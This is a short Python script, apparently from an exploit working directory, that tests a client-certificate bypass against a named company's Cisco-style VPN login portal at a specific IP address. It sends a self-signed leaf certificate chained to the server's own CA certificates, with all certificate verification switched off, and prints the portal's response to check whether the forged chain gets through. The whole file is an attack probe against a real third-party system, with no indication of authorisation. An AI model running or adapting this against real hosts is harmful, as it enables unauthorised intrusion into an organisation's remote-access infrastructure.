import ssl, socket
ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
ctx.set_ciphers('AES256-SHA')
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Load our self-signed leaf + the FULL server chain as intermediates
# Chain file: leaf + R36 + R46 + USERTrust + AAA
chain = '/tmp/full_chain.pem'
open(chain, 'w').write(open('/work/exploit/certcheck/self_leaf.crt').read() + open('/tmp/srv_cert_1.pem').read() + open('/tmp/srv_cert_2.pem').read() + open('/tmp/srv_cert_3.pem').read() + open('/tmp/srv_cert_4.pem').read())
try:
    ctx.load_cert_chain(chain, '/work/exploit/certcheck/self_leaf.key')
except Exception as e:
    print(f"LOAD FAIL: {e}")
    exit()
sock = socket.create_connection(('193.194.119.131', 443), timeout=15)
ss = ctx.wrap_socket(sock, server_hostname='vpn-nl.exness.com')
req = b'GET /+CSCOE+/logon.html HTTP/1.1\r\nHost: vpn-nl.exness.com\r\nConnection: close\r\n\r\n'
ss.sendall(req)
data = b''
while True:
    chunk = ss.recv(4096)
    if not chunk: break
    data += chunk
ss.close()
hdr_end = data.find(b'\r\n\r\n')
body = data[hdr_end+4:] if hdr_end >= 0 else b''
print(f"SELF_LEAF + FULL_SERVER_CHAIN: BODY_LEN={len(body)}")
print(f"  first 300B: {body[:300].decode(errors='replace')}")
